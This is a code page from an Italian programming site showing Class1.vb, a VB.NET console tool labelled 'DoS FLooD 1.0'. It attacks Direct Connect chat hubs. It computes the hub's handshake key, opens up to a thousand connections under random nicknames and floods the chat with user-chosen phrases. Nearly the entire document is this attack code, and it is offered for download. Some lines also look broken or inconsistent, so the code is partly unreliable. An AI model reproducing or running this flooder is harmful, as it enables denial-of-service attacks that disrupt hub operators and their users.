Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Flodder In Console - Class1.vb

Class1.vb

Caricato da:
Scarica il programma completo

  1. Imports System
  2. Imports System.Collections
  3. Imports System.ComponentModel
  4. Imports System.Data
  5. Imports System.Net.Sockets
  6. Imports System.Net
  7. Imports System.Text
  8. Imports System.Threading
  9. Imports System.Diagnostics
  10. Imports System.IO
  11.  
  12.  
  13. Namespace FLoDDeR
  14.    '/ <summary>
  15.    '/ Descrizione di riepilogo per Class1.
  16.    '/ </summary>
  17.    
  18.    Class Class1
  19.      
  20.       '/ <summary>
  21.       '/ Il punto di ingresso principale dell'applicazione.
  22.       '/ </summary>
  23.       '/
  24.       <STAThread()>  _
  25.       Public Shared Sub Send(s As Socket, send As String)
  26.          Try
  27.             s.Send(Encoding.Default.GetBytes((send + "|")))
  28.          Catch Else
  29.          End Try
  30.       End Sub 'Send
  31.      
  32.       Public Shared Function GeneraNickCasuali() As String
  33.          Dim rand As New Random()
  34.          Dim Satvar As String = nick
  35.          Dim nome As String = Satvar
  36.          Dim max As Integer = rand.Next(4, 8)
  37.          Dim i As Integer
  38.          
  39.          For i = 0 To max - 1
  40.             Dim g As Integer = rand.Next(97, 122)
  41.             nome += CChar(g)
  42.          Next i
  43.          Return nome
  44.       End Function 'GeneraNickCasuali
  45.      
  46.       Public Shared Function getKey(lockz As String) As String
  47.          Dim lock0 As Byte() = Encoding.Default.GetBytes(lockz)
  48.          Dim key(lock0.Length) As Integer
  49.          Dim i As Integer
  50.          For i = 1 To lock0.Length - 1
  51.             key(i) = lock0(i) ^ lock0((i - 1))
  52.          Next i
  53.          key(0) = lock0(0) ^ lock0((lock0.Length - 1)) ^ lock0((lock0.Length - 2)) ^ 5
  54.          Dim i As Integer
  55.          For i = 0 To key.Length - 1
  56.             key(i) = Machine.Shift.Left(key(i), 4) And 240 Or(Machine.Shift.Right(key(i), 4) And 15)
  57.          Next i
  58.          Dim sKey(515) As Byte
  59.          Dim len As Integer = 0
  60.          Dim i As Integer
  61.          For i = 0 To key.Length - 1
  62.             If key(i) = 0 Then
  63.                '    "/%DCN000%/"
  64.                Dim ii As Integer
  65.                For ii = 0 To ("/%DCN000%/".Length) - 1
  66.                   sKey(len) = Encoding.Default.GetBytes("/%DCN000%/")(ii)
  67.                   len += 1
  68.                Next ii
  69.             ElseIf key(i) = 5 Then
  70.                Dim ii As Integer
  71.                For ii = 0 To ("/%DCN005%/".Length) - 1
  72.                   sKey(len) = Encoding.Default.GetBytes("/%DCN005%/")(ii)
  73.                   len += 1
  74.                Next ii
  75.             ElseIf key(i) = 36 Then
  76.                Dim ii As Integer
  77.                For ii = 0 To ("/%DCN036%/".Length) - 1
  78.                   sKey(len) = Encoding.Default.GetBytes("/%DCN036%/")(ii)
  79.                   len += 1
  80.                Next ii
  81.             ElseIf key(i) = 96 Then
  82.                Dim ii As Integer
  83.                For ii = 0 To ("/%DCN096%/".Length) - 1
  84.                   sKey(len) = Encoding.Default.GetBytes("/%DCN096%/")(ii)
  85.                   len += 1
  86.                Next ii
  87.             ElseIf key(i) = 124 Then
  88.                Dim ii As Integer
  89.                For ii = 0 To ("/%DCN124%/".Length) - 1
  90.                   sKey(len) = Encoding.Default.GetBytes("/%DCN124%/")(ii)
  91.                   len += 1
  92.                Next ii
  93.             ElseIf key(i) = 126 Then
  94.                Dim ii As Integer
  95.                For ii = 0 To ("/%DCN126%/".Length) - 1
  96.                   sKey(len) = Encoding.Default.GetBytes("/%DCN126%/")(ii)
  97.                   len += 1
  98.                Next ii
  99.             Else
  100.                sKey(len) = CByte(key(i))
  101.                len += 1
  102.             End If
  103.          Next i
  104.          Dim aux(len) As Byte
  105.          Dim i As Integer
  106.          For i = 0 To len - 1
  107.             aux(i) = sKey(i)
  108.          Next i
  109.          
  110.          Return Encoding.Default.GetString(aux)
  111.       End Function 'getKey
  112.       Private Shared host, nick, share, tag, porta, descrizione, mail, connessione, nmess, nuser, fflood, fflood2 As String
  113.       Private Shared ihe As IPHostEntry
  114.       Private Shared iep As IPEndPoint
  115.      
  116.       'Entry point which delegates to C-style main Private Function
  117.       Public Overloads Shared Sub Main()
  118.          Main(System.Environment.GetCommandLineArgs())
  119.       End Sub
  120.      
  121.       Overloads Shared Sub Main(args() As String)
  122.          
  123.          Dim share As String = "120"
  124.          Dim descrizione As String = ""
  125.          Dim tag As String = "<++ V:0.688,M:A,H:0/0/1,S:4>"
  126.          Dim mail As String = "WwW.PieRoToFy.IT"
  127.          Dim connessione As String = "LAN(T3)"
  128.          Console.Write("***** DoS FLooD 1.0 By SaTaNa *****                                             ")
  129.          Console.Write("***** In DeVePoL FoR UNiX *****                                                 ")
  130.          Console.Write("***** WwW.SDHuB.ALTeRViStA.oRg *****                                            ")
  131.          Console.Write("                                                                                ")
  132.          Console.Write("InDiRiZZo DeLL'HuB: ")
  133.          host = Console.ReadLine()
  134.          Console.Write("PoRTa DeLL'HuB: ")
  135.          porta = Console.ReadLine()
  136.          Console.Write("NiCk DeL FLoDDaToRe: ")
  137.          nick = Console.ReadLine()
  138.          Console.Write("NuMeRo USeR: ")
  139.          nuser = Console.ReadLine()
  140.          Console.Write("FRaSe FLooD: ")
  141.          fflood = Console.ReadLine()
  142.          Console.Write("2 FRaSe FLooD: ")
  143.          fflood2 = Console.ReadLine()
  144.          Console.WriteLine()
  145.          Try
  146.          
  147.          'ihe = Dns.Resolve(host);
  148.          Catch Else
  149.          End Try
  150.          'Console.Write("*** Indirizzo Sconosciuto...");
  151.          ihe = Dns.Resolve(host)
  152.          iep = New IPEndPoint(ihe.AddressList(0), Convert.ToInt32(porta))
  153.          Dim i As Integer
  154.          For i = 0 To 999
  155.             Try
  156.                Dim s As Socket
  157.                s = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
  158.                s.Connect(iep)
  159.                Dim buffer(1023) As Byte
  160.                s.Receive(buffer)
  161.                Dim lockepk As String = Encoding.Default.GetString(buffer)
  162.                Dim st As String() = lockepk.Split(" "c)
  163.                Dim lock0 As String = st(1)
  164.                Dim key As String = "$Key " + getKey(lock0)
  165.                Dim nick2 As String = GeneraNickCasuali()
  166.                Send(s, key)
  167.                Send(s, "$ValidateNick " + nick2)
  168.                Send(s, "$Version 1,0091")
  169.                Send(s, "$MyINFO $ALL " + nick2 + " " + descrizione + " " + tag + "$ $" + connessione + " $" + mail + "$" + Convert.ToDouble(share) * 1024 * 1024 * 1024 + "$")
  170.                Dim f As Integer
  171.                For f = 0 To (Convert.ToInt32(nmess)) - 1
  172.                   Dim msg As Byte() = Encoding.Default.GetBytes(("<" + nick2 + "> " + fflood + " |"))
  173.                   s.Send(msg)
  174.                   Dim msg2 As Byte() = Encoding.Default.GetBytes(("<" + nick2 + "> " + fflood2 + " |"))
  175.                   s.Send(msg2)
  176.                Next f
  177.            
  178.            
  179.             Catch Else
  180.             End Try
  181.          Next i
  182.       End Sub 'Main
  183.    End Class 'Class1
  184. End Namespace 'FLoDDeR